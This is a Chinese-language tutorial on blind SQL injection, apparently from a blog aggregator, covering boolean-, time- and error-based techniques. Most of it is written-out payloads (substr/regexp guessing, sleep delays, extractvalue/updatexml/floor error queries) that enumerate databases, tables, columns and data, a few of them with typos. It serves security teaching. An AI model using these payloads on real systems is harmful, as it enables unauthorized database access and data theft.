SQL注入之盲注

2023-11-17


前言

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面

一、盲注分类

盲注分为三类:
(1)基于布尔的SQL盲注
(2)基于事件的SQL盲注
(3)基于报错的SQL盲注

二、具体解析

1.基于布尔的sql盲注

首先要先了解一下sql注入截取字符串常用的函数:

(1)mid()函数

mid (string, start,length)
string

表示要提取字符的字段

start

规定开始位置(这里的起始值为1)

length

表示要返回的字符数

比如
str=‘weqweqwe’
mid(str,2,1)返回的值为e
(2)substr()函数

用于截取字符串
substr(string,start,length)参数的含义和mid函数的参数含义一致

(3)left()函数

得到字符串左部指定个数的字符
left(string,n)
string

要截取的字符串

n

长度(如果没有规定n的值就会返回剩余所有值)

//ORD()函数返回第一个字符的ascll码值常与上述三个函数联用

具体注入方法

(1)left(database(),1)

database()显示数据库名称,left(database(),1)从左侧截取 database() 的前 1 位

(2)ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+

substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

(3)regexp 正则注入

1.判断第一个表名的第一个字符是否为a-z的字符假设abc是已知的库名

index.php?id=1 and 1=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[az]' limit 0,1)

2.判断第一个字符是否为a-p中的字符

index.php?id=1 and a=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[a-p]' limit 0,1)

3.确认该字符是p

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p' limit 0,1)

4.以此类推猜解之后的字符

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p[a-z]' limit 0,1)
........

2.基于时间的SQL盲注

延时注入是注入延时回显参数,根据是否延时来判断语句执行是否正确。当布尔盲注页面回显无区别时通常搭配延时注入使用。延时注入常用的函数有sleep(),if()

sleep(int m);延时m秒 if(boolean
res,a,b);首选判断res的返回值,true执行a,false执行b。有点类似编程里的三目运算符

' and if(length(database())=1,sleep(5),1)# 判断数据库长度如果长度为1就延迟5s,不是就返回1

但是一般不推荐使用延迟注入因为页面本身缓冲就有时间会对判断造成一定的影响

3.基于报错的SQL盲注

报错盲注就是使语句报错。报错注入则是注入特殊的语句使报错回显中带上我们需要的信息
常见的报错回显有三种函数extractvalue()、updatexml()、floor()

1.extractvalue()函数

extractvalue(xml_document,xpath_string)

' and(select extractvalue(1,concat(0x7e,(select database()),0x7e))) #查库
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#查表
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#查字段
' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))#查数据

2.updatexml()函数

updatexml(xml_document,xpath_string,new_value)

' or updatexml(1,concat('~',database(),'~'),1) # 查库
' union select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #查表
' union select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) #查字段
' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e),1) #查数据

3.floor()函数

' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查库
' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查表
' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查字段
' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)#查数据

note:extractvalue()和updatexml()函数查询字符串的最大长度为32,如果超过32要使用substring()函数(通过截取或limit一次查取的上限也为32位)

案例(这里使用updatexml演示SQL语句获取user()值)

(1)利用updatexml获取user()

‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

这里的’0x7e‘是ASCLL编码的结果结果是’~‘

(2)利用updatexml获取database()(当前数据库名)

‘and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+

(3)利用报错注入获取获取数据库库名

‘and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1,0x7e),1)--+

因为报错注入只显示一条结果所以要用到limit

(4)利用报错注入获取数据库表名

‘and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1,0x7e),1)--+

这里的test是从上一个语句获取的数据库库名

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入之盲注 的相关文章

  • [激光原理与应用-40]:《光电检测技术-7》- 常见光干涉仪及其应用

    目录 第1章 干涉仪概述 1 1 什么是干涉仪 1 2 基本原理 1 3 分类 1 4 应用 1 5 干涉仪的类型 第2章 常见光干涉仪 2 1 迈克尔逊干涉仪 2 2 泰曼 格林干涉仪 2 3 移相干涉测量仪 2 4 菲索共路干涉仪 第1
  • vue+webpack5:If you want to include a polyfill, you need to

    升级 vue cli 5 0 1 发现 const path require path 异常 发现默认webpack 是 提示v5区别于v4不再自动引入Polyfills 需要手动添加 按照控制台提示 1 安装path browserify
  • mysql不包含模糊查询

    包含like 不包含not like select from 数据库表 where HouseName like 江门奥园项目 and HouseName like 幢 and HouseName not like 商 不包含not in
  • jupyter修改文件目录和虚拟环境

    在我们安装完jupyter的时候 他是默认为根目录的 我们想切换到我们自己创建的文件目录中该怎么做呢 请看下面步骤 一 切换文件目录 首先 先在我们要放的目录下创建一个文件夹 如 我的为 F Jupyter 在命令行窗口中输入 jupyte
  • cocos2dx 常见的49中动作详解

    bool HelloWorld init 1 super init first if CCLayer init return false CCSprite sp CCSprite create Icon png sp gt setPosit
  • java中的类型赋值常见错误

    Java中float double long类型变量赋值添加f d L尾缀问题 添加尾缀说明 我们知道Java在变量赋值的时候 其中float double long数据类型变量 需要在赋值直接量后面分别添加f或F d或D l或L尾缀来说明
  • JAVA的可变类与不可变类

    可变类和不可变类 Mutable and Immutable Objects 的初步定义 可变类 当你获得这个类的一个实例引用时 你可以改变这个实例的内容 不可变类 当你获得这个类的一个实例引用时 你不可以改变这个实例的内容 不可变类的实例
  • Mybatis批量插入数据的三种方式分享

    转自 Mybatis批量插入数据的三种方式分享 下文笔者讲述Mybatis插入数据的方法分享 如下所示 for循环insert long start System currentTimeMillis for int i 0 i lt 100

随机推荐

  • 结构化思维

    我们在求职时 经常能看到岗位要求上写着 逻辑思维 系统 结构化思维 身为一个直觉的打工仔 面对未来Boss耳提面命的 能力标签 我们怎能视若无睹 逻辑思维 好理解 不就 判断 推理 嘛 可这 结构化思维 是啥 很多人就答不上来了 在理解概念
  • electron ajax路径,electron 文件及文件夹上传的问题探索

    不晓得如今electron最新版的dialog解决了这个问题没有 选择文件夹的时候没有返回文件夹里面全部的文件 而是返回了文件夹的路径 一样的在网页端是能够经过webkitDirectory获取到文件夹下面全部的文件node 我试了不少的方
  • https开头的网址是什么意思_网址是什么意思?基础知识普及

    通俗的理解网址就是常说的URL 是很多个它一起组成了数量庞大形形色色的网站 网址 Uniform Resource Locator 统一资源定位器 是计算机Web网络相关的术语 就是网页地址的意思 我们的互联网世界就是由很多的网址组成 也可
  • 2021-04-06

    开源 开源的概念 开源 一词对应英文 Open Source 最初起源于软件开发领域 因此也称为 开放源代码 对应的软件则称为开源软件 Open Source Software 除了我们熟知的开源软件以外 开源的表现形式还有开源硬件 Ope
  • C++编译器为类自动生成拷贝构造函数的情况

    在一下情况中C 会为类自动生成拷贝构造函数 1 类中有虚函数 这种情况即意味着类的对象中有指向虚函数表的指针 考虑下面的情况 class A private int m a public virtual void ShowVal void
  • echarts实现气泡图(气泡之间不叠加)

    前言 echarts本身是有气泡图的 官方气泡图的特点是每个气泡的位置是基于坐标轴进行定位 如图1和2所示 但是本文所介绍的气泡图并不是官方所介绍的气泡图 而是一类区别于官方的图表类型 这种图表类型通常采用d3 js插件实现 如图3所示 从
  • MPC8314 (e300核) uboot 调试

    历经2个多月 完成了MPC8314最小系统 uboot 及Linux内核和根文件系统的调试 这是我第一次从头开始做小系统和内核的移植工作 虽然调试的比较辛苦 但是收获还是很多的 下面就介绍一下调试的过程和一些原理性的东西 1 MPC8314
  • Java基础面试题(三) (2020持续更新)

    前言 全套面试题请直接转到文章末尾 1 Java 中能创建 volatile 数组吗 能 Java 中可以创建 volatile 类型数组 不过只是一个指向数组的引用 而不 是整个数组 我的意思是 如果改变引用指向的数组 将会受到 vola
  • 馆员工作站的产品功能以及特点介绍

    馆员工作站通过跟电脑相互连接使用 工作人员对图书进行标签加工时 可使用设备对粘贴在图书上的RFID电子标签进行加工 通过条形码扫描器扫描图书上的条形码 同时识别图书上的电子标签 对电子标签和图书条码进行标签初始化操作 除此之外 还可以进行图
  • 6个常用的Python编程开发工具

    随着互联网的迅速发展 新技术不断创新 万物互联的时代 企业对IT人员的需求不断增加 很多想要进入IT行业的小伙伴经常会抱怨 想入门 却不知道从哪下手 最近就有不少小伙伴和小编抱怨 我想学Python 但是都不知道该使用哪些工具 别着急 学习
  • ES6入门

    一 let和const命令 1 let命令 类似于var 但是只在let所在的代码块有效 不存在变量提升 即一定要先声明后使用 暂时性死区 待理解 不允许重复声明 2 块级作用域 内层不影响外层 3 const命令 const声明一个常量
  • JAVA 什么是多态?

    面向对象编程有三大特性 封装 继承 多态 封装隐藏了类的内部实现机制 可以在不影响使用的情况下改变类的内部结构 同时也保护了数据 对外界而已它的内部细节是隐藏的 暴露给外界的只是它的访问方法 继承是为了重用父类代码 两个类若存在IS A的关
  • Ag Grid 组件 Vue Data Grid: Components

    目录 声明自定义组件 内联 组件 本地声明的组件 外部化的 JavaScript 组件 js 文件 外部化单文件组件 SFC vue 文件 注册自定义组件 注册内联自定义组件 注册非内联自定义组件 1 按名称 2 直接引用 已弃用 按名称引
  • 【yolov7系列二】正负样本分配策略

    本文主要就yolov7的正负样本筛选策略 并与yolov5 yolov6进行比对 首先接着上一篇yolov7系列一 网络整体结构 填几个小坑 希望对大家没有造成困扰 如 E ELAN层 在cat后需要要conv层做特征融合 还有SPPCSP
  • python virtualenv

    文章目录 powershell 参考文章 https www cnblogs com freely p 8022923 html https blog csdn net u012206617 article details 90294421
  • Inorder Successor in BST

    Given a binary search tree and a node in it find the in order successor of that node in the BST Note If the given node h
  • UNI-APP_APP(webview)集成X5内核

    官方文档 https uniapp dcloud net cn tutorial app android x5 html 腾讯TBS x5内核仅支持Android平台 iOS只能使用自带的WKWebview 打开项目的manifest js
  • Linux awk 命令

    AWK是一种处理文本文件的语言 是一个强大的文本分析工具 之所以叫AWK是因为其取了三位创始人 Alfred Aho Peter Weinberger 和 Brian Kernighan 的Family Name的首字符 语法 awk 选项
  • Keil环境下CANopenNode移植到STM32问题记录(一)---printf重定向问题

    文章目录 问题描述 问题结决 思考 相关文章 在直接将CANopenSTM32的示例工程直接移植到Keil环境下 如果移植工程未实现printf函数重定向 则要注释掉log printf下面的printf函数 使日志打印失效 Printf
  • SQL注入之盲注

    SQL注入之盲注 前言 一 盲注分类 二 具体解析 1 基于布尔的sql盲注 首先要先了解一下sql注入截取字符串常用的函数 1 mid 函数 2 substr 函数 3 left 函数 具体注入方法 2 基于时间的SQL盲注 3 基于报错